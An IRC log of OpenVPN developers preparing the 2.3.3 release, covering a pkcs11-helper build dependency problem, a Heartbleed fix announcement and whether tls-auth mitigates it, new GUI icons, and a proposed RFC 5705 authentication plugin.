buildbots build fine, and you have --disable-snappy there 02:38 <@mattock> did you put the tarballs somewhere tw? 02:38 <@mattock> btw 02:38 <@mattock> I'd need a tar.gz 02:38 <@cron2> no, wouldn't know the proper incantation 02:38 <@cron2> never did tarballs yet 02:38 <@mattock> I think "autoreconf -vi && ./configure && make dist-<something>" should do it 02:39 <@cron2> dazo might be able to help 02:39 <@cron2> true 02:39 <@mattock> that triggered the problem above 02:39 <@cron2> try autoreconf -vif (--force) 02:39 <@mattock> ok 02:39 <@mattock> no good, same error 02:39 <@cron2> I had issues with leftovers from master in release/2.3 checkouts and vice versa 02:39 <@mattock> this may be a generic problem with Ubuntu 14.04 02:39 <@mattock> I'll verify that 02:40 <@cron2> 14, that is way too new :-) 02:40 * cron2 points at dazo again "he understands configure and git and package building" 02:42 <@mattock> well, if I can get a dist tar.gz out, I can build for 14.04 02:42 <@mattock> I can use my own lappy for testing 02:43 <@mattock> I think I'll need to setup a buildslave for Ubuntu 14.04 quite soon 02:44 <@mattock> it's not officially out yet (I think), but this autoreconf failure looks suspicious 02:44 <@mattock> "make dist-gzip" is the correct incantation 02:45 <@cron2> cool :) 02:48 <@mattock> the dist-gzip stuff seems to work fine on Debian 7, so this is 14.04 issue 04:17 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 04:31 <@mattock> strange that sbuild (=the thing used to build <n> debian packages in chroots) fails to build openvpn-2.3.3 because of "missing" libpkcs11-helper1-dev, but works just fine for 2.3.2 04:31 <@mattock> annoying 04:36 <@cron2> oh, that could be since we require a newer version of libpcks11 new 04:37 <@mattock> ah 04:37 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:37 <@mattock> I'll have to test if any of the distros have pkcs11 that's recent enough 04:38 <@mattock> if not, I will have to scrap pkcs11 support 05:02 <@mattock> build worked just fine if pkcs11-helper1-dev dependency was removed 05:02 <@cron2> lol 05:02 <@mattock> only Ubuntu 14.04 has what openvpn requests (pkcs11 1.11) 05:03 <@mattock> sent mail about this to -user and -devel 05:03 <@cron2> seems that particular patch was not overly well considered... (note that this is the only patch from Alon in 2.3.3) 05:04 <@plaisthos> (as if you had something against Alon) 05:04 <@cron2> nothing that works :-) 05:04 <@cron2> (but we got an Ack from syzzer, so it's not fairl to solely blame this on Alon) 05:05 <@plaisthos> when is blaming fair? 05:05 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 05:08 <@mattock> oh, alon is to blame 05:08 <@mattock> and syzzer :P 05:08 <@mattock> I wonder why the requirement is there 05:08 <@mattock> and if it's possible to (safely) use an older version 05:09 <@mattock> anyways... I think I'll postpone the debian package release and push out the source tarballs and windows installer for 2.3.3 05:14 -!- debbie10t [~ma1com10t@host-92-20-22-182.as13285.net] has joined #openvpn-devel 05:15 < debbie10t> As the dust of heartbleed settles - I just thought it might be worth mentioning this: 05:15 < debbie10t> XP-32bit 05:15 < debbie10t> OpenVPN 2.3.2 i686-w64-mingw32 [SSL (OpenSSL)] [LZO] [PKCS11] [eurephia] [IPv6] built on Apr 8 2014 05:15 < debbie10t> W7-64bit 05:15 < debbie10t> OpenVPN 2.3.2 x86_64-w64-mingw32 [SSL (OpenSSL)] [LZO] [PKCS11] [eurephia] [IPv6] built on Apr 8 2014 05:17 < debbie10t> It appears the versions do not make it clear if the application is 32 or 64 bit ? 05:20 <@cron2> mattock: its related to EC certs, iirc 05:21 <@cron2> debbie10t: I can see i686 and x86_64 in there...? 05:22 < debbie10t> I just thought I would ask .. but if you are satisfied of its clarity then so be it. 05:23 <@cron2> the x86_64 is clear enough 05:38 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 246 seconds] 05:39 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:39 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:43 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 240 seconds] 05:43 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:43 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:55 <@mattock> hmm, it might be that the pkcs11 API has changed... here's an openvpn-build failure: 05:55 <@mattock> pkcs11_openssl.o:pkcs11_openssl.c:(.text+0xc7): undefined reference to `_pkcs11h_openssl_session_getEVP' 05:55 <@syzzer> mattock: I think you should revert that patch out of 2.3 05:55 <@mattock> syzzer: ok, if you think that's safe 05:56 <@syzzer> it's not about security, it's just support for non-rsa stuff through pkcs11-helper 05:56 <@cron2> mattock: well, that was the change - use the newer function, which requires a newer library 05:56 <@mattock> would the use of the old function be fine? 05:57 -!- wrenny [~mee@162.253.129.250] has joined #openvpn-devel 05:57 <@syzzer> it should :p 05:57 <@syzzer> let me take a look at the changes in pkcs11-helper 05:57 <@cron2> mattock: yes, it would then just be restricted to RSA 05:57 <@dazo> mattock: issues? 05:58 <@cron2> dazo: autoconf is blowing up for him, but seemingly only on ubuntu 14 05:58 <@mattock> that is correct 05:58 <@dazo> aha ... got some pastebins? 05:58 <@mattock> dazo: not yet, but I can provide one 06:00 <@mattock> false alarm, was just missing some build dependencies on Ubuntu 14.04 06:01 <@dazo> :) 06:01 <@dazo> So we're releasing 2.3.3 today? 06:02 <@syzzer> mattock: reverting that commit should be fine 06:03 <@mattock> syzzer: ok 06:03 <@mattock> dazo: I may just be able to push the windows installers and tarballs out today 06:03 <@mattock> debian packages will have to wait for tomorrow 06:06 -!- wrenny [~mee@162.253.129.250] has quit [Ping timeout: 246 seconds] 06:06 <@dazo> mattock: that makes a lot of sense ... Windows is more urgent due to heartbleed 06:06 <@mattock> dazo: the heartbleed issue is already fixed for Windows 06:06 <@mattock> in 2.3.2-I004 06:06 -!- wrenny [~mee@184.75.221.114] has joined #openvpn-devel 06:06 <@dazo> wow ... nice! 06:06 <@mattock> yesterday actually 06:07 * dazo needs to recheck mailing lists 06:07 <@mattock> a proper announcement was never made 06:07 <@dazo> ahh 06:07 <@mattock> that's probably why you missed it 06:07 <@mattock> cron2: do you have a nice summary of changes in 2.3.3? 06:07 <@mattock> for the announcement etc 06:09 <@dazo> git shortlog v2.3.2..v2.3.3 ? 06:10 <@mattock> I got that one already 06:11 <@dazo> :) 06:11 <@mattock> I was thinking about the "highlights of this release are..." kind of 06:11 <@mattock> I can make something up also 06:21 <@dazo> mattock: utun support, SSL_OP_NO_TICKET (which is a CVE, iirc), non-ASCII TAP adapter names and temp path on Windows, --chroot file check fixes, Always load intermediate certificates from a PKCS#12 file ... that's probably the important things to mention 06:25 <@d12fk> is it really the case that heartbleed is exploitable on the client before the server passed auth? 06:29 <@cron2> mattock: I have no real nice summary yet - would need to go through "git log" and see what is interesting 06:29 <@mattock> dazo: I made it even more general, because there's a link to the changelog on Trac 06:29 <@cron2> (at a customer site right now, fighting win7 installs...) 06:30 <@mattock> like this: This release contains a number of bug fixes, small enhancements and changes aimed at improving long-term compatibility with newer OpenVPN versions. In addition, the Windows installer is bundled with an updated OpenVPN-GUI and more importantly includes OpenSSL 1.0.0g that fixes the very serious heartbleed vulnerability: 06:30 <@mattock> ... 06:30 <@mattock> that's the usual very vague style I've used :P 06:30 <@cron2> good enough 06:30 <@dazo> agreed 06:30 <@mattock> good 06:31 <@mattock> continuing the text... 06:31 <@mattock> heartbleed vulnerability: 06:31 <@mattock> <http://heartbleed.com/> 06:31 <@mattock> <https://community.openvpn.net/openvpn/wiki/heartbleed> 06:31 <@mattock> All Windows users of OpenVPN 2.3-rc2-I001 through OpenVPN 2.3.2-I003 should upgrade their installations immediately. 06:31 <@vpnHelper> Title: Heartbleed Bug (at heartbleed.com) 06:31 <@vpnHelper> Title: heartbleed – OpenVPN Community (at community.openvpn.net) 06:31 <@mattock> windows build ready, testing... 06:35 -!- wrenny [~mee@184.75.221.114] has quit [Ping timeout: 240 seconds] 06:41 <@dazo> mattock: Has there been a discussion around the tls-auth usage in regards to heartbleed? 06:42 <@mattock> on the ml, yes, 06:42 <@mattock> here not so much I think 06:42 <@mattock> I haven't checked the latest emails myself 06:42 <@dazo> okay ... because I think it misses the point a bit 06:42 <@mattock> how come? 06:43 <@mattock> files in place 06:43 <@dazo> How I've understood it, tls-auth doesn't protect you against heartbleed attacks ... it just protects you from a MITM scenario, where an attacker have been able to get hold of the cert and key 06:43 <@dazo> Given that the tls-auth key has not been extracted 06:44 <@dazo> The *traffic* between clients and a vulnerable server is still at risk, if the key has been extracted 06:44 <@dazo> even with tls-auth 06:44 <@mattock> we should probably summarize the tls-auth thing on the heartbleed announcement on trac 06:44 <@mattock> once we agree on how it helps or does not help 06:44 <@dazo> syzzer/andj might be able to weight in on this one a bit more 06:45 <@dazo> actually ... the traffic between any server and client which has been vulnerable, is still vulnerable even after updating with proper openssl libs .... it's vulnerable until the keys have been replaced 06:48 <@mattock> d12fk: the new GUI sure has new icons 06:49 <@d12fk> mattock: you had to find it in the try first, admit it =) 06:49 <@mattock> I found it easily 06:50 <@d12fk> how to they appeal to you? 06:50 <@mattock> not because it was intuitive, probably, but because it was new :P 06:50 <@dazo> d12fk: how does the new UI work on Win 8.1? I'm being poked by a user who has issues making it work, his colleague with 8.1 have no issues ... something in particular we need to look out for? 06:51 <@d12fk> dazo: what kind of dont work is he talking about? 06:51 <@dazo> I haven't received his logs yet ... but I've understood it's related to issues with running the GUI and openvpn process with right privileges 06:52 <@dazo> routes are not set up, and so on 06:52 <@d12fk> ah right click and run as admin should resolve this 06:52 <@d12fk> ... or the interactive service *duck* 06:52 <@mattock> d12fk: so there's basically the new Tray icon, and the new desktop icon? 06:52 <@dazo> I've already bragged about the latter ;-) 06:53 <@d12fk> mattock: right 06:53 <@dazo> Eager to try out the interactive service on a few clients :) 06:53 <@mattock> the desktop icon seems fairly low resolution 06:53 < reators> nn 06:53 <@mattock> not sure if it's the rdesktop or something 06:54 <@mattock> d12fk: the green color on the tray icon when openvpn is connected is quite nice 06:54 <@mattock> I think the new tray icon is better than the old one 06:54 <@d12fk> any icon is better than the old one 06:54 <@mattock> the old one was easily mixed up with the network interface icons in the tray 06:54 <@mattock> yes, exactly 06:55 <@d12fk> does it send the version right? 06:57 <@mattock> windows smoketests passed 06:57 <@mattock> d12fk: you're asking me, right? :P 07:09 <@cron2> d12fk: haven't tested yet, will do tonight/tomorrow (you need to talk to a 2.4/master server to actually *see* the info, unless you use the management console and do user/password auth on the console) 07:11 <@mattock> the release is now out: http://openvpn.net/index.php/download/community-downloads.html 07:11 <@vpnHelper> Title: Community Downloads (at openvpn.net) 07:11 <@mattock> making announcements next 07:12 <@cron2> mattock: could you leave the 2.3.2 bundles + I004 installer online? 07:12 <@mattock> it is online on the old release page 07:12 <@cron2> that would be way more useful than 2.2.2 07:12 <@mattock> here: http://openvpn.net/index.php/open-source/downloads/471-old-releases.html 07:12 <@vpnHelper> Title: Old releases (at openvpn.net) 07:13 <@cron2> yeah, but nobody would look there. I think we really should offer " 07:13 <@mattock> I'm fine with pulling the plug for 2.2.2, but not today :) 07:13 <@cron2> 2.3.2-fixed" as well as 2.3.3 07:13 <@mattock> well, that's doable 07:13 <@cron2> thanks :) 07:13 <@cron2> (I know my users, new versions scare them...) 07:23 <@mattock> fixed 07:23 <@mattock> lost the original description, but who cares? :P 07:23 <@mattock> the heartbleed fix is mentioned for 2.3.2 also 07:31 <@mattock> ok, my work here is done (for the time being) 07:31 <@mattock> tomorrow the reverse-patch for pkcs11 and retry ubuntu/debian packages 07:42 <@syzzer> mattock: so 2.3.3 has no pkcs11 support? 07:42 <@mattock> no, it does 07:42 <@mattock> I will just need to write a patch that reverses the pkcs11 >= 1.11 patch 07:43 <@syzzer> ah, right, just the debian(ish) packages will have the patch reverted 07:43 <@mattock> because debian/ubuntu build works best if it takes vanilla sources and patches them 07:43 <@mattock> yep 07:43 <@syzzer> ok, cool. 07:43 <@mattock> because only the very recent distros have libpkcs11-helper1 1.11 07:44 <@syzzer> dazo: tls-auth protects against heartbeat because attackers can only inject TLS packets if they have the tls-auth key 07:44 <@syzzer> people who have the tls-auth key can mount a full attack 07:45 <@mattock> but this does not help if you have lots of users who all share the same tls-auth key 07:45 <@dazo> syzzer: ahh, okay ... so even the hearbeat attempt is blocked 07:45 <@dazo> well, tls-auth keys needs to be shared ... so if you loose that one, you've lost :) 07:46 <@syzzer> openvpn drops all tls packets that are not signed with the tls auth key 07:46 <@dazo> right 07:46 <@syzzer> no processing whatsoever 07:46 <@dazo> I didn't think of that detail 07:47 <@syzzer> this is exactly what the key was meant for ("if tls / openssl breaks, protect me from the evil internets"), but it doesn't protect against valid users ;) 07:47 <@dazo> fair enough :) 07:48 <@dazo> Okay, since I trust my ~10-15 users fairly well, and I use --tls-auth ... I don't need to consider to replace the client/server keys just yet 07:49 <@syzzer> dazo: you don't have to do it head-over-heels, but you should do it 'soonish'. 07:49 <@dazo> I'm planning on rebuilding the whole VPN setup later this year, with a brand new CA, new tls-auth and new configs ... so it can probably wait a bit 07:50 <@dazo> replacing the server key now makes somewhat sense to do in a shorter time frame then I'd say 07:50 <@syzzer> exactly that. If you trust your users (and upgraded your server asap), you should replace the keys at the next opportunity you have 07:51 * cron2 is so happy that his servers are all using old openssl versions 07:51 <@syzzer> yeah, as that is fairly easy 07:51 <@dazo> I restarted the server today, with a fixed openssl ... so that's covered ... just the key left 08:18 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 252 seconds] 08:25 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 08:25 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:30 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Excess Flood] 08:31 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 09:40 <+krzee> syzzer, im looking at https://community.openvpn.net/openvpn/wiki/UsingPolarSSL 09:40 <+krzee> "?This external Git tree has full PolarSSL support. Please use that while the patches are being in integrated into mainline OpenVPN." <-- that note is outdated, right? 09:40 <@vpnHelper> Title: UsingPolarSSL – OpenVPN Community (at community.openvpn.net) 09:41 <+krzee> i see it was last edited 3 yrs ago? but i would like confirmation before i go removing it. 10:05 < _bt> hello guys - i just want to bring up http://community.openvpn.net/openvpn/ticket/131 again .. 10:05 <@vpnHelper> Title: #131 (client management interface user authentication abort inconsistency) – OpenVPN Community (at community.openvpn.net) 10:05 < _bt> i think this is related to #276 and #311 10:06 < _bt> a bigger problem is that if you use "management-signal", when you disconnect from the interface twice, the process dies 10:07 < _bt> (because after the first disconnect, SIGUSR1 is sent, the state is then requesting auth, second disconnect gives the signal at the point and the process crashes) 10:08 <+krzee> have you checked if arne's dual stack patches fixed it? 10:09 <+krzee> since thats what #276 and #311 say might be the case... 10:09 < _bt> i have not 10:09 < _bt> but i shall 10:10 < _bt> one question: shouldn't sending a SIGUSR1 when connected put the state back in HOLD if management-hold is in the config? 10:11 < _bt> also im not sure where to find that patch 10:11 <+krzee> git master 10:11 <+krzee> !git 10:11 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png or 10:11 <@vpnHelper> (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 10:11 < _bt> is it in master now? 10:11 <+krzee> !master 10:11 <@cron2> master has the dual-stack fixes, which also cover signal handling stuff 10:12 < _bt> ill check it out (pun intended) 10:12 < _bt> and report back 10:17 <@cron2> so what is missing in polarssl to make it a full-blown replacement for OpenVPN usage? 10:17 <+krzee> cron2++ 10:29 <@dazo> krzee: crypto wise, polarssl should work pretty well as a drop-in replacement these days ... but there are some other features missing, compared to openssl ... like pkcs12, something loading certificate chains and such more advanced topics ... i don't recall the exact details now, but there are a few of them 10:30 <@dazo> oh ... that wiki is actually pretty updated, it seems 10:30 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 10:31 <@cron2> which wiki?= 10:31 <@dazo> https://community.openvpn.net/openvpn/wiki/UsingPolarSSL 10:31 <@vpnHelper> Title: UsingPolarSSL – OpenVPN Community (at community.openvpn.net) 10:32 <@dazo> krzee: so the wiki is quite correct, with the exception that openvpn 2.3 is released with polarssl support 10:32 < n13l> hey all. working on tls side channel authentication plugin for openvpn. (using RFC 5705 Keying Material Exporters) and related crypto derivates for authenticate TLS using existing confidental channel ( for example smartphone / qrcode) instread of client/serer trusted cert +- password 10:33 < n13l> currently openvpn cant run in mode when cert authentication or password is switched on 10:33 <+krzee> dazo, yes i only meant that part "?This external Git tree has full PolarSSL support. Please use that while the patches are being in integrated into mainline OpenVPN." <-- they are finished being integrated into mainline openvpn now. 10:33 <@dazo> krzee: correct 10:34 <+krzee> cool i will update 10:34 < n13l> looking for relevant guy who is able to tell me if there is chance for submit such patch 10:35 <@dazo> n13l: when using openvpn in p2p mode (not using pki), you need a shared secret ... it doesn't do any key exchange at all in that mode 10:36 < n13l> dazo: i need keying agreement of course instead of shared secret 10:36 <@dazo> n13l: it is however possible to run openvpn in server mode with --client-cert-not-required ... however, you need certs on the server side anyhow ... 10:37 < n13l> dazo: the point is to not using trusted cert (mininum on client side / like on the web and ideally on server also) 10:38 <@dazo> n13l: well, that's what --client-cert-not-required does ... however, it enforces a CA on the client side which matches. It doesn't currently allow non-trusted CAs (which browsers can be told to ignore) 10:38 < n13l> dazo: server can generate custom key pair for new session (google did similar stuff on client side using origin bound certificate) 10:39 < n13l> dazo: but the point is that you dont need trusted certificate and you can detecet possible MITM using these keying material exporters (if are on confidentat channel for example on that smartphone) 10:39 <@dazo> I think that'd would probably be a better way around it ... otherwise, you'll need to implement some KEX protocol without using any TLS/SSL primitives ... which again means, the openvpn wire protocol most likely needs to be adopted 10:40 <@dazo> n13l: I understand your goal ... I just don't quite see the path towards that goal, based on the openvpn design 10:41 < n13l> dazo: sorry about pushin you to misunderstanding :) 10:41 <@dazo> I think the most sane and safest way is to add a client feature, which skips the server certificate/CA signature check .... similar to what --client-cert-not-required does for server, you need something similar on the client 10:42 <@dazo> that will establish the connection ... then you can use some other layers doing the trust check based on QR codes or similar, over that "secured" link 10:42 <@dazo> otherwise, I struggle to see how you can establish an initial connection 10:43 < n13l> dazo: maybe just create temp self signed cert for that (but dont use it for TLS authentication of both endpoints) 10:44 <@dazo> a QR code could f.ex. provide the server certificate's digest/fingerprint 10:44 <+krzee> https://community.openvpn.net/openvpn/wiki/UsingPolarSSL 10:44 <@vpnHelper> Title: UsingPolarSSL – OpenVPN Community (at community.openvpn.net) 10:45 <@dazo> n13l: not sure how well self-signed certificates works out-of-the-box ... I think openvpn complains loudly, so it needs to be tweaked as well 10:45 < n13l> QR code will be based on that crypto derivate (RFC 5705 + public key of the server) 10:45 <@dazo> n13l: ahh, okay ..... maybe syzzer have some thoughts ... 10:46 <@dazo> krzee: looks good! 10:46 < n13l> dazo: i think that i dont need many changes in openvpn itself. there's check in the configuration (require --auth-pass or cA) 10:47 < n13l> i would like to remove this check if plugin provides own authentication (not based on evil passwords and/or certs) 10:47 <@dazo> n13l: it doesn't need to be that many, right ... but you need to allow the client to connect without a CA, that's basically the most tricky part 10:47 <@dazo> but 10:47 <@dazo> why not,instead of server pubkey in the QR code, ship the CA certificate? 10:48 <@dazo> client extracts that, kicks off openvpn with that CA cert ... then it should be connected, and you'll get somewhat authentication of the server in addition 10:48 < n13l> i did allready similar prototype for firefox vs apache/mod_ssl and after crypto analys. that formula was result 10:50 < n13l> there's no pubkey in that qrcode :) it's derivate 10:50 < n13l> that means SHA1(keying material exporter rfc[5705] + ServerPubKey) 10:50 <@dazo> ahh, okay ... I didn't quite catch that detail 10:52 < n13l> well what you think is there a good chance for acceptance such little patch ? 10:52 <@dazo> well, you then will need to enable --tls-verify support for the client side (currently I believe that only works for servers) ... plus a possibility to override the SSL library's built-in cert verification 10:53 < n13l> i doin allready same tricks with openssl for several reason 10:53 <@dazo> n13l: it could be accepted, if there's a good use case for it .... preferably with some decent PoC setups 10:53 < n13l> doin trampoline on handshake signal 10:54 < n13l> handshake is infact signal for athentication (exporting these derivates in that moment) 10:54 <@dazo> right ... well, it just needs to be made possible in the SSL layer in openvpn ... currently, it's taken for granted that you at minimum trust the SSL libraries verification logic 10:54 < n13l> soin doin trampoline on SSL_CTX_set_info_callback 10:55 <@dazo> yeah ... it should be fairly well documented in the ssl_verify*.c files .... ssl_verify.c is the "wrapper" code around the OpenSSL and PolarSSL implementations 10:55 < n13l> i doin that plugin for win32/64, unix and mac also 10:56 < n13l> but specially on windows i want to be binary compatible (not only because of that linking to libssl runtime) 10:56 < n13l> anyway i need to catch that handshake only infact and export these crypto derivates 10:57 <@dazo> syzzer understands the inner workings of the SSL layers in OpenVPN than any of us others ... so he might have some thoughts too 10:57 < n13l> i agree that ssl_verify layer you mentioned is probably clener 10:58 < n13l> i doin that on a bit lower level (benefit is to support more then vpn) i can for example make SECModule for Chrome/Firefox and provide similar functionality 10:58 < n13l> Hm 10:59 < n13l> dazo: ok thx you very much for valuable info. i will whisper syzzer 11:01 * krzee whispers syzzer 11:01 <@dazo> n13l: you most likely need to dig deeper into verify_cert() in ssl_verify.c ... I believe that's one of the starting points for the certificate checks 11:02 < n13l> dazo: i saw that allready. if i remember well there's openssl's X509 structure accessible 11:03 < n13l> im not sure but i think that SSL* object related to TLS channel is accesible also 11:03 < n13l> i dont know much about polarSSL 11:04 <@dazo> right, and IIRC, I believe that function further calls the SSL libs verification code ... which is what you need to hijack, to avoid verifying server certs against a non-existing CA cert 11:05 <@dazo> n13l: in this regards, polarssl isn't that much different from openssl, as long as you don't need to dig into the *_{polarssl,openssl}.c code ... outside that, it's all abstracted 11:07 <@dazo> for more info about the abstraction, look at ssl_verify_backend.h 11:20 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 11:36 <@cron2> so what SSL library is in the commercial openvpn client for Windows? 11:45 <@ecrist> do we expose the version of open/polar ssl in the env vars on the server for client-connect scripts? 11:56 <@cron2> no 11:56 <@cron2> unfortunately 11:57 <@cron2> we don't even put it into the client log :-( 12:02 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:02 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:00 <@ecrist> I think putting the crypto lib and version both in the log on each end, but also making that available to the client connect script vars would be idea 13:00 <@ecrist> ideal* 13:00 <@ecrist> that would allow admins to require and/or exclude libraries and/or versions of a given library 13:05 <@cron2> except that version numbers are somewhat meaningless for that, with like RedHat always returning "1.0.1" as they backport security fixes... 13:07 <@dazo> yeah, you need to look at 'rpm -q --changelog openssl' to see what's really changed ... unfortunately the build numbers are not included in the version string, that would have provided the needed info 13:08 <@cron2> but otherwise, yeah, I like the idea 13:08 <@dazo> openssl-1.0.1e-16.el6_5.4.x86_64 is vulnerable 13:08 <@dazo> openssl-1.0.1e-16.el6_5.7.x86_64 is fixed 13:08 <@cron2> oh the joy :) 13:08 <@dazo> yeah ... however, the changelog is explicit .... 13:08 <@dazo> * Mon Apr 07 2014 Tomáš Mráz <tmraz@redhat.com> 1.0.1e-16.7 13:08 <@dazo> - fix CVE-2014-0160 - information disclosure in TLS heartbeat extension 13:35 <@ecrist> basically, there's no way, right now, for me to ensure that my vPN clients are using secure openssl versions 13:36 <@cron2> ecrist: true. And even if we were to send the openssl version to you, it would not help 13:37 <@cron2> what I plan to do is force my (Windows) users to upgrade to 2.3.3, because that version number will be visible in the server side log, *and* I know that no 2.3.3 build is vulnerable 13:38 <@cron2> the single linux user has not even used his OpenVPN connection yet, I think. He just "ssh -D"'s in :-) 13:38 <@ecrist> 2.3.3 is vulnerable if built against old openssl libraries, right? 13:39 <@cron2> yep. This is for the windows clients, which use precompiled binaries that we (mattock) provide 13:39 <@cron2> so if os=windows, and ver=2.3.3, I am *reasonably* sure that this is a good version 13:39 <@ecrist> ok, that's what I thought 13:39 <@ecrist> my problem is all of my devs use linux 13:40 <@cron2> yeah, I feel your pain 13:44 <@dazo> ecrist: which distros? 13:44 <@ecrist> Kubuntu 13:45 <@ecrist> here's another thought: what if we, in our build system, have a blacklist of libraries and refuse to build against ones we know are vulnerable? 13:46 <@ecrist> that doesn't solve the problem of already-built binaries, but heads off new ones 13:46 <@dazo> uh, okay ... I know Ubuntu was fairly quick releasing a fixed openssl ... so if they follow Ubuntu strictly and really applies updates ... then it's fairly safe to expect them to be updated - as long as openvpn has been restarted 13:49 <@dazo> ecrist: no need to do that, we just need to ensure our buildbots (which I presume mattock uses) have the latest libraries installed. But it's can be included in a "requirement" settings that the version needs to be at least a certain version, that will enforce users to upgrade libraries too 13:50 <@dazo> the tricky thing with this round is that openvpn can have been built against any openssl 1.0.1, and it will work ... no matter if openssl vulnerable or not, as the binary interface (ABI) haven't changed 13:51 <@cron2> ecrist: so how do you recognize 1.0.1e-kaput vs. 1.0.1e-nonkaput, if both present "1.0.1e"? 13:52 <@cron2> (we do this for polar, btw, refuse to build with something before 1.2.10 iirc as that was broken, and no distro ships "1.2.8+silent patch") 14:02 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 14:07 <@ecrist> cron2: m/([\d\.]+[\w]{1,})-(.*)/ 14:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:08 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 14:08 <@plaisthos> re 14:08 <@plaisthos> back in germany 14:11 <@ecrist> hey, my car came from there 14:11 -!- mattock is now known as mattock_afk 14:13 <@ecrist> http://www.secure-computing.net/files/smartas.png 14:40 <@ecrist> http://www.secure-computing.net/files/bmw.jpg 15:02 <@dazo> ecrist: you know what we call those white bmw's in Norway? 15:43 -!- dazo is now known as dazo_afk 16:13 <@syzzer> n13l: I'm not familiar with RFC 5705 / Keying Material Exporters, but from what I understand from the RFC it relies on TLS for key agreement 16:13 <@syzzer> that means that using self-signed certificates is a bad idea 16:13 <@syzzer> you need TLS to do proper authentication for you 16:15 <@syzzer> on the server side, that is. Atfer that, you can trampoline using EKM to authenticate the client 16:16 <@syzzer> as for EKM itself, if there a good use case for it, I could imagine patches being accepted 16:52 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 17:31 -!- backz [~backz@189.120.201.91] has joined #openvpn-devel 17:32 -!- backz [~backz@189.120.201.91] has left #openvpn-devel [] 18:05 -!- debbie10t [~ma1com10t@host-92-20-22-182.as13285.net] has left #openvpn-devel [] 18:13 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 252 seconds] 18:21 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 18:21 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 18:21 -!- dazo_afk is now known as dazo 19:31 -!- wrenny [~AndChat54@md32636d0.tmodns.net] has joined #openvpn-devel 19:36 < wrenny> Thought there would be more activity going on here today 19:57 <@ecrist> you just joined. 19:57 <@ecrist> there was quite a bit the last couple days 20:15 -!- wrenny [~AndChat54@md32636d0.tmodns.net] has quit [Read error: Connection reset by peer] 20:16 -!- wrenny [~AndChat54@md32636d0.tmodns.net] has joined #openvpn-devel 20:21 -!- wrenny [~AndChat54@md32636d0.tmodns.net] has quit [Ping timeout: 276 seconds] 20:22 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 265 seconds] 20:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 20:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:27 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:58 <@ecrist> I thought I would see a GUI_VER env var for client-connect with 2.3.3 20:59 <@ecrist> I am not seeing such a thing. 22:08 -!- wrenny2 [~AndChat54@md32636d0.tmodns.net] has joined #openvpn-devel 22:41 <@vpnHelper> RSS Update - tickets: #385: Regression: 2.3.3 windows client fails with arm server 2.3.3 <https://community.openvpn.net/openvpn/ticket/385> 22:49 <@vpnHelper> RSS Update - tickets: #387: Multiple components of a DN are not reported to the environment <https://community.openvpn.net/openvpn/ticket/387> || #386: Cryptoapicert SUBJ: selector doc <https://community.openvpn.net/openvpn/ticket/386> 22:54 <@vpnHelper> RSS Update - tickets: #388: Should be able to use crypto API (windows) for CA certificate(s) <https://community.openvpn.net/openvpn/ticket/388> --- Day changed Thu Apr 10 2014 00:23 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 00:23 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 00:23 -!- mattock_afk is now known as mattock 00:59 -!- wrenny [~mee@162.253.128.58] has joined #openvpn-devel 01:56 -!- penguinpowernz [~robert@180.189.199.6] has joined #openvpn-devel 01:56 < penguinpowernz> hey anyone around? 01:59 < penguinpowernz> when does openvpn re-read certificates? 01:59 < penguinpowernz> ah screw it i'll go in the other main openvpn chan 01:59 -!- penguinpowernz [~robert@180.189.199.6] has quit [Quit: leaving] 02:10 <@cron2_> these impatient youngs... 02:26 <@mattock> lol 02:31 < wrenny> what channel he talking bout? 03:09 < _bt> wrenny: #openvpn 03:38 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:49 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 03:49 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:59 < _bt> 